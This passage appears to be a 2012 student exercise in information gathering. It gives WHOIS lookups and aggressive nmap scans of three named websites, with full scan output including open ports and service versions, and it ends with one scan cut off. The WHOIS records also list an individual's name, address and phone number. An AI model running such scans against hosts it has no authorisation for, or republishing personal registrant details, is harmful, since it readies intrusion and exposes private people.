    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Nobby Beach
    null,QLD 4218
    AU
    Tel. +45.36946676

Creation Date: 22-Dec-2011
Expiration Date: 22-Dec-2012

Domain servers in listed order:
    partnerit1.earth.orderbox-dns.com
    partnerit1.mars.orderbox-dns.com
    partnerit1.mercury.orderbox-dns.com
    partnerit1.venus.orderbox-dns.com


Administrative Contact:
    PrivacyProtect.org
    Domain Admin        (@privacyprotect.org)
    ID#10760, PO Box 16
    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Nobby Beach
    null,QLD 4218
    AU
    Tel. +45.36946676

Technical Contact:
    PrivacyProtect.org
    Domain Admin        (@privacyprotect.org)
    ID#10760, PO Box 16
    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Nobby Beach
    null,QLD 4218
    AU
    Tel. +45.36946676

Billing Contact:
    PrivacyProtect.org
    Domain Admin        (@privacyprotect.org)
    ID#10760, PO Box 16
    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Nobby Beach
    null,QLD 4218
    AU
    Tel. +45.36946676


B .active information gathering from www.is2c-dojo.net

to active information gathering from www.is2c-dojo.net i used tools nmap.
first, run nmap and type the command :

root@bt:~# nmap -v -A is2c-dojo.net

this command will have result as below :





root@bt:~# nmap -v -A is2c-dojo.net

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-01-26 11:46 BNT
NSE: Loaded 87 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 11:46
Scanning is2c-dojo.net (216.239.32.21) [4 ports]
Completed Ping Scan at 11:46, 0.14s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:46
Completed Parallel DNS resolution of 1 host. at 11:46, 0.03s elapsed
Initiating SYN Stealth Scan at 11:46
Scanning is2c-dojo.net (216.239.32.21) [1000 ports]
Discovered open port 80/tcp on 216.239.32.21
Completed SYN Stealth Scan at 11:46, 11.79s elapsed (1000 total ports)
Initiating Service scan at 11:46
Scanning 1 service on is2c-dojo.net (216.239.32.21)
Completed Service scan at 11:46, 6.84s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against is2c-dojo.net (216.239.32.21)
Retrying OS detection (try #2) against is2c-dojo.net (216.239.32.21)
Initiating Traceroute at 11:46
Completed Traceroute at 11:46, 0.09s elapsed
Initiating Parallel DNS resolution of 11 hosts. at 11:46
Completed Parallel DNS resolution of 11 hosts. at 11:46, 0.12s elapsed
NSE: Script scanning 216.239.32.21.
Initiating NSE at 11:46
Completed NSE at 11:46, 1.46s elapsed
Nmap scan report for is2c-dojo.net (216.239.32.21)
Host is up (0.071s latency).
Other addresses for is2c-dojo.net (not scanned): 216.239.34.21 216.239.36.21 216.239.38.21
rDNS record for 216.239.32.21: any-in-2015.1e100.net
Not shown: 998 filtered ports
PORT    STATE  SERVICE VERSION
80/tcp  open   http    Google httpd 2.0 (GFE)
|_http-methods: No Allow or Public header in OPTIONS response (status code 301)
| http-title: 301 Moved
|_Did not follow redirect to http://www.is2c-dojo.net/
113/tcp closed ident
Device type: general purpose
Running (JUST GUESSING): IBM OS/2 4.X (86%)
OS CPE: cpe:/o:ibm:os2:4
Aggressive OS guesses: IBM OS/2 Warp 2.0 (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.000 days (since Thu Jan 26 11:46:55 2012)
Network Distance: 11 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

TRACEROUTE (using port 113/tcp)
HOP RTT      ADDRESS
1   22.06 ms 192.168.1.1
2   42.44 ms 1.subnet110-136-160.speedy.telkom.net.id (110.136.160.1)
3   40.46 ms 181.subnet125-160-15.infra.telkom.net.id (125.160.15.181)
4   70.88 ms 17.subnet118-98-57.astinet.telkom.net.id (118.98.57.17)
5   70.19 ms 118.98.15.29
6   63.44 ms 181.subnet118-98-57.astinet.telkom.net.id (118.98.57.181)
7   60.98 ms 37.subnet118-98-56.astinet.telkom.net.id (118.98.56.37)
8   58.61 ms 6.subnet118-98-59.astinet.telkom.net.id (118.98.59.6)
9   53.54 ms 42.subnet118-98-59.astinet.telkom.net.id (118.98.59.42)
10  52.19 ms 180.240.190.13
11  53.99 ms any-in-2015.1e100.net (216.239.32.21)

NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.46 seconds
           Raw packets sent: 2079 (95.304KB) | Rcvd: 47 (2.728KB)




2. information gathering from www.is2c-dojo.com
 
    A.  Gathering information From www.is2c-dojo.com using who.is website
          the following result :

IP: 67.222.154.106
Website Status: active
Server Type: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 mod_antiloris/0.4

  

 for complete information as below :

Registration Service Provided By: PARTNER IT
Contact: +62.2749570974

Domain Name: IS2C-DOJO.COM

Registrant:
    n/a
    Mada Rambu Perdhana        (@gmail.com)
    Jl. MT Haryono No.25A rt.36 Kelurahan Damaii
    Balikpapan
    Balikpapan,12345
    ID
    Tel. +62.087838463816

Creation Date: 14-Jan-2012
Expiration Date: 14-Jan-2013

Domain servers in listed order:
    ns1.partnerit.us
    ns2.partnerit.us


Administrative Contact:
    n/a
    Mada Rambu Perdhana        (@gmail.com)
    Jl. MT Haryono No.25A rt.36 Kelurahan Damaii
    Balikpapan
    Balikpapan,12345
    ID
    Tel. +62.087838463816

Technical Contact:
    n/a
    Mada Rambu Perdhana        (@gmail.com)
    Jl. MT Haryono No.25A rt.36 Kelurahan Damaii
    Balikpapan
    Balikpapan,12345
    ID
    Tel. +62.087838463816

Billing Contact:
    n/a
    Mada Rambu Perdhana        (@gmail.com)
    Jl. MT Haryono No.25A rt.36 Kelurahan Damaii
    Balikpapan
    Balikpapan,12345
    ID
    Tel. +62.087838463816


B .active information gathering from www.is2c-dojo.com

to active information gathering from www.is2c-dojo.com  i used tools nmap.
first, run nmap and type the command :

root@bt:~# nmap -v -A is2c-dojo.com

this command will have result as below :
root@bt:~# nmap -v -A is2c-dojo.com

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-01-26 11:52 BNT
NSE: Loaded 87 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 11:52
Scanning is2c-dojo.com (67.222.154.106) [4 ports]
Completed Ping Scan at 11:52, 3.06s elapsed (1 total hosts)
Nmap scan report for is2c-dojo.com (67.222.154.106) [host down]
NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 4.09 seconds
           Raw packets sent: 8 (304B) | Rcvd: 0 (0B)


1. information gathering from www.spentera.com

A. passive information gathering from www.spentera.com
     Gathering information From www.ispentera.com using who.is website
     the following result :

      IP: 74.81.66.104
      IP Location: Atlanta, United States
      Website Status: active
      Server Type: Apache

  

 For complete  information as below :


Registration Service Provided By: Namecheap.com
Contact: @namecheap.com
Visit: http://namecheap.com

Domain name: spentera.com

Registrant Contact:
   WhoisGuard
   WhoisGuard Protected ()
  
   Fax:
   11400 W. Olympic Blvd. Suite 200
   Los Angeles, CA 90064
   US

Administrative Contact:
   WhoisGuard
   WhoisGuard Protected (@whoisguard.com)
   +1.6613102107
   Fax: +1.6613102107
   11400 W. Olympic Blvd. Suite 200
   Los Angeles, CA 90064
   US

Technical Contact:
   WhoisGuard
   WhoisGuard Protected (@whoisguard.com)
   +1.6613102107
   Fax: +1.6613102107
   11400 W. Olympic Blvd. Suite 200
   Los Angeles, CA 90064
   US

Status: Active

Name Servers:
   dns1.namecheaphosting.com
   dns2.namecheaphosting.com
  
Creation date: 15 Feb 2011 13:04:00
Expiration date: 15 Feb 2012 08:04:00 








B .active information gathering from www.spentera.com

to active information gathering from www.spentera.com  i used tools nmap.
first, run nmap and type the command :

root@bt:~# nmap -v -A spentera.com

this command will have result as below :
root@bt:~# nmap -v -A spentera.com
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-01-26 12:01 BNT
NSE: Loaded 87 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 12:01
Scanning spentera.com (74.81.66.104) [4 ports]
Completed Ping Scan at 12:01, 0.71s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:01
Completed Parallel DNS resolution of 1 host. at 12:02, 0.40s elapsed
Initiating SYN Stealth Scan at 12:02
Scanning spentera.com (74.81.66.104) [1000 ports]
Discovered open port 53/tcp on 74.81.66.104
Discovered open port 80/tcp on 74.81.66.104
Discovered open port 21/tcp on 74.81.66.104
Discovered open port 443/tcp on 74.81.66.104
Discovered open port 25/tcp on 74.81.66.104
Discovered open port 143/tcp on 74.81.66.104
Discovered open port 995/tcp on 74.81.66.104
Discovered open port 993/tcp on 74.81.66.104
Discovered open port 110/tcp on 74.81.66.104
SYN Stealth Scan Timing: About 8.77% done; ETC: 12:07 (0:05:23 remaining)
SYN Stealth Scan Timing: About 9.63% done; ETC: 12:12 (0:09:32 remaining)
SYN Stealth Scan Timing: About 10.50% done; ETC: 12:16 (0:12:56 remaining)
Increasing send delay for 74.81.66.104 from 0 to 5 due to 11 out of 25 dropped probes since last increase.
SYN Stealth Scan Timing: About 11.37% done; ETC: 12:19 (0:15:44 remaining)
SYN Stealth Scan Timing: About 12.23% done; ETC: 12:22 (0:18:03 remaining)
SYN Stealth Scan Timing: About 13.10% done; ETC: 12:25 (0:20:01 remaining)
SYN Stealth Scan Timing: About 13.97% done; ETC: 12:27 (0:21:40 remaining)
Increasing send delay for 74.81.66.104 from 5 to 10 due to 11 out of 11 dropped probes since last increase.
SYN Stealth Scan Timing: About 14.83% done; ETC: 12:29 (0:23:04 remaining)
SYN Stealth Scan Timing: About 15.87% done; ETC: 12:31 (0:24:29 remaining)
SYN Stealth Scan Timing: About 17.30% done; ETC: 12:33 (0:25:58 remaining)
Increasing send delay for 74.81.66.104 from 10 to 20 due to 11 out of 11 dropped probes since last increase.